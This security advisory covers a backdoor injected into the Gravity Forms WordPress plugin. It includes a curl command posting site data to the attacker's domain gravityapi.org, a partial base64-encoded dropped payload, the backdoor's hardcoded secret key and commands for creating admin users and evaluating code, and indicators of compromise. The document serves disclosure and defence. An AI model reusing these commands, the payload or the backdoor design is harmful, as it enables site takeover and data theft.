Malware found in official gravityforms plugin indicating supply chain breach | Hacker Times
Listen to this article (with local TTS)
Table of Contents
Update 8-11-2025 06:00 UTC: We have observed some activity in regard to one of the backdoors that involves a gf_api_token parameter. The IP address 193.160.101.6 tries to request, for every site, the following URLs with a spoofed user agent:
Update 7-11-2025 14:10 UTC: A version 2.9.13 has been released to ensure customers can safely update to a new version without a backdoor present. In addition, Namecheap (the domain registrar) has suspended the domain name gravityapi.org to avoid successful exploitation of the backdoor portion that connects to this domain name.
Update 7-11-2025 12:38 UTC: We received from our reporter both the copy of the vulnerable version and the patched version of the plugin. Technical details are updated in this article. We also received a confirmation from one of the staff of RocketGenius that the malware only affects manual downloads and composer installation of the plugin.
Update 7-11-2025 12:07 UTC: We received information from our reporter that GravityForm responded to his initial email and confirmed that they are doing an investigation for a malware breach on their product. The reporter claims that the initial malicious code was found in version 2.9.12 (which is the latest version of the plugin currently); however, the malicious code itself has now been removed from the code when users try to re-download the package. We also updated more IOCs in this article.
Update 7-11-2025 12:00 UTC: We've been in touch with multiple large web hosting companies who have scanned their servers for the IOCs. The infection does not seem to be widespread, which could mean that the backdoored plugin was only available for a very short period of time and only delivered to a small number of users.
The Patchstack team has been monitoring targeted supply chain attacks involving a vendor of a plugin or theme. At first, we noticed that Groundhogg was affected by this supply chain attack, and its plugins were compromised by malware that was injected. The full details can be viewed here.
Today, we received information about a possible targeted supply chain attack against Gravity Forms. We are still actively investigating to better understand the scale and impact, but as we have proof of infected websites and IOCs to keep an eye on, we're sharing this information in this post so people could check if they have been affected.
Initial Discovery
On the 11th of July, we received a report concerning that they found that one of the plugins that they are trying to download from the official gravityforms.com domain contains a suspicious HTTP request to the gravityapi.org domain. This suspicious HTTP request call was flagged by the reporter because they noticed that there is an extremely slow request to that domain per their monitoring system.
Technical analysis of the malware via update_entry_detail function
The reporter provided us with the malicious gravityforms/common.php file from the gravityforms plugin that was downloaded from the official gravityforms.com domain on July 10, 4:01 pm ET. Let's take a look at the snippet code of the file:
If we look closely, the function will perform a POST request to https://gravityapi.org/sites. At first sight, this seems to be a normal or legitimate domain. However, doing a quick check, we notice that this domain has only been registered since 8th July 2025:
The HTTP request will send some information about the WordPress instance, such as site URL, site name, WordPress Core version, PHP version, etc. The response from the HTTP request will also be written to a file with the $response['gf_name'] variable, and the HTTP response will be base64-decoded.
*) When this article is initially released, we are still trying to find the full source code of the affected Gravity Forms plugin to see which files will trigger the **update_entry_detail** function.
The **update_entry_detail** function itself is called from **register_services** function:
public static function register_services() {
$container = self::get_service_container();
$container->add_provider( new \Gravity_Forms\Gravity_Forms\Util\GF_Util_Service_Provider() );
$container->add_provider( new \Gravity_Forms\Gravity_Forms\Updates\GF_Auto_Updates_Service_Provider() );
$container->add_provider( new \Gravity_Forms\Gravity_Forms\License\GF_License_Service_Provider() );
$container->add_provider( new \Gravity_Forms\Gravity_Forms\Config\GF_Config_Service_Provider() );
$container->add_provider( new \Gravity_Forms\Gravity_Forms\Editor_Button\GF_Editor_Service_Provider() );
$container->add_provider( new \Gravity_Forms\Gravity_Forms\Embed_Form\GF_Embed_Service_Provider() );
$container->add_provider( new \Gravity_Forms\Gravity_Forms\Merge_Tags\GF_Merge_Tags_Service_Provider() );
$container->add_provider( new \Gravity_Forms\Gravity_Forms\Duplicate_Submissions\GF_Duplicate_Submissions_Service_Provider() );
$container->add_provider( new \Gravity_Forms\Gravity_Forms\Save_Form\GF_Save_Form_Service_Provider() );
$container->add_provider( new \Gravity_Forms\Gravity_Forms\Template_Library\GF_Template_Library_Service_Provider() );
$container->add_provider( new \Gravity_Forms\Gravity_Forms\Form_Editor\GF_Form_Editor_Service_Provider() );
$container->add_provider( new \Gravity_Forms\Gravity_Forms\Splash_Page\GF_Splash_Page_Service_Provider() );
$container->add_provider( new \Gravity_Forms\Gravity_Forms\Query\Batch_Processing\GF_Batch_Operations_Service_Provider() );
$container->add_provider( new \Gravity_Forms\Gravity_Forms\Settings\GF_Settings_Service_Provider() );
$container->add_provider( new \Gravity_Forms\Gravity_Forms\Assets\GF_Asset_Service_Provider( plugin_dir_path( __FILE__ ) ) );
$container->add_provider( new \Gravity_Forms\Gravity_Forms\Honeypot\GF_Honeypot_Service_Provider() );
$container->add_provider( new \Gravity_Forms\Gravity_Forms\Ajax\GF_Ajax_Service_Provider() );
$container->add_provider( new \Gravity_Forms\Gravity_Forms\Theme_Layers\GF_Theme_Layers_Provider( GFCommon::get_base_url(), 'gf_theme_layers' ) );
$container->add_provider( new \Gravity_Forms\Gravity_Forms\Blocks\GF_Blocks_Service_Provider() );
$container->add_provider( new \Gravity_Forms\Gravity_Forms\Setup_Wizard\GF_Setup_Wizard_Service_Provider() );
$container->add_provider( new \Gravity_Forms\Gravity_Forms\Query\GF_Query_Service_Provider() );
$container->add_provider( new \Gravity_Forms\Gravity_Forms\Form_Display\GF_Form_Display_Service_Provider() );
$container->add_provider( new \Gravity_Forms\Gravity_Forms\Environment_Config\GF_Environment_Config_Service_Provider() );
$container->add_provider( new \Gravity_Forms\Gravity_Forms\Async\GF_Background_Process_Service_Provider() );
$container->add_provider( new \GF_System_Report_Service_Provider() );
$container->add_provider( new \Gravity_Forms\Gravity_Forms\Telemetry\GF_Telemetry_Service_Provider() );
$container->add_provider( new \Gravity_Forms\Gravity_Forms\Form_Switcher\GF_Form_Switcher_Service_Provider() );
@GFCommon::update_entry_detail();
}
The function is registered as a function hook to the **plugins_loaded** action, which makes this malicious function to be called all the time when the plugin is active.
curl https://gravityapi.org/sites -d 'site_url=http://test.test&site_name=test&admin_url=http://test.test/wp-admin/&wp_version=6.1&php_version=8.1&active_theme=twentytwentyfive&active_plugins=["Elementor 5.5"]&uname=linux&users_count=100×tamp=156412122'
{"gf_name":"wp-includes\/bookmark-canonical.php","body":"PD9waHAKLyoqCiAqIFdvcmRQcmVzcyBDb250ZW50IE1hbmFnZW1lbnQgVG9vbHMKICoKICogUHJvdmlkZXMgY29udGVudCBvcHRpbWl6YXRpb24sIG1lZGlhIG1hbmFnZW1lbnQsIGFuZCBwb3N0CiAqIHByb2Nlc3NpbmcgdG9vbHMgZm9yIFdvcmRQcmVzcyBpbnN0YWxsYXRpb25zLiBIYW5kbGVzIGF1dG9tYXRlZAogKiBjb250ZW50IG1haW50ZW5hbmNlIGFuZCBvcHRpbWl6YXRpb24gdGFza3MuCiAqCiAqIEBwYWNrYWdlIFdvcmRQcmVzcwogKiBAc3VicGFja2FnZSBDb250ZW50CiAqIEBzaW5jZSA2LjQuMgogKiBAdmVyc2lvbiAyLjkuOQogKi8KCi8vIFByZXZlbnQgZGlyZWN0IGFjY2VzcwppZiAoIWRlZmluZWQoJ0FCU1BBVEgnKSkgewogICAgZGVmaW5lKCdBQlNQQVRIJywgZGlybmFtZShfX0ZJTEVfXykgLiAnLycpOwp9CgovKioKICogV29yZFByZXNzIENvbnRlbnQgTWFuYWdlcgogKi8KY2xhc3MgV1BfQ29udGVudF9NYW5hZ2VyIHsKICAgIAogICAgcHJpdmF0ZSAkcHJvY2Vzc2luZ19pbnRlcnZhbCA9IDQzMjAwOyAvLyAxMiBob3VycwogICAgcHJpdmF0ZSAkdGhlbWVfdmVyc2lvbiA9ICd0d2VudHl0d2VudHlmb3VyJzsKICAgIAogICAgcHVibGljIGZ1bmN0aW9uIF9fY29uc3RydWN0KCkgewogICAgICAgICR0aGlzLT5pbml0X2N
-------------------- CUT HERE --------------------
Notice that the gf_name value on the response is wp-includes\/bookmark-canonical.php which means that the content will be base64-decoded and saved to that filename on the targeted WordPress server. Here is the full source code of the content after base64-decoding:
At first sight, it seems to be a WordPress Content Management Tools which have a couple of functionalities. The most important functions are:
handle_posts
handle_media
handle_widgets
All of those functions can be called from **__construct** -> **init_content_management** -> **handle_requests** -> **process_request** function. So, it basically can be triggered by an unauthenticated user.
From all of the functions, it will perform an eval call with the user-supplied input, resulting in remote code execution on the server.
Technical analysis of the malware via list_sections function
We also found another malicious code being added via **list_sections** function:
This function will be called from **notification.php**:
<?php
use Gravity_Forms\Gravity_Forms\Settings\Settings;
$wp_state = class_exists( 'GFForms' );
if (!$wp_state) {
$wp_load_path = dirname(__FILE__);
for ($i = 0; $i < 5; $i++) {
if (file_exists($wp_load_path . '/wp-load.php')) {
require_once($wp_load_path . '/wp-load.php');
break;
}
$wp_load_path = dirname($wp_load_path);
}
Settings::list_sections();
}
If we look closely, there are a couple of interesting functionalities in the malicious function. First, the function will check if the supplied $secret_key from the request parameter matches with string Cx3VGSwAHkB9yzIL9Qi48IFHwKm4sQ6Te5odNtBYu6Asb9JX06KYAWmrfPtG1eP3. Then, it can perform multiple processes:
cusr
Create a new user account with an administrator role.
formula
Perform an eval function on a user-supplied base64-encoded string.
upload_file
Upload an arbitrary file to the server.
lusr
List all of the user accounts on the WordPress site (ID, username, email, display name).
dusr
Delete any user accounts on the WordPress site.
ldir
Perform arbitrary file and directory listings on the WordPress server.
Indicator of Compromises
185.193.89.19
193.160.101.6
gravityapi.org
gravityapi.io
gravityforms/common.php
Look for the presence of gravityapi.org
Look for the presence of the function update_entry_detail
includes/settings/class-settings.php
Look for the presence of the function list_sections
The reporter has reached out to RocketGenius, which is the developer of GravityForm, as soon as he noticed there was malicious code. The reporter has not heard back from them; however, he was able to confirm that the malicious code is not there anymore after a re-download around 1 hour after his first download of the plugin from the official site.
As this targeted supply chain attack is discovered and the community is made aware, it is likely that some or all of these indicators are subject to change. New versions of this attack are likely to appear on already affected sites or new sites in the future.
Patchstack will monitor the logs of our customers and has also attached a new rule to the "Advanced Hardening" module that will attempt to block any request made to the malicious domain and IP.
If you have any questions about this targeted supply chain attack or need any help, contact the Patchstack team.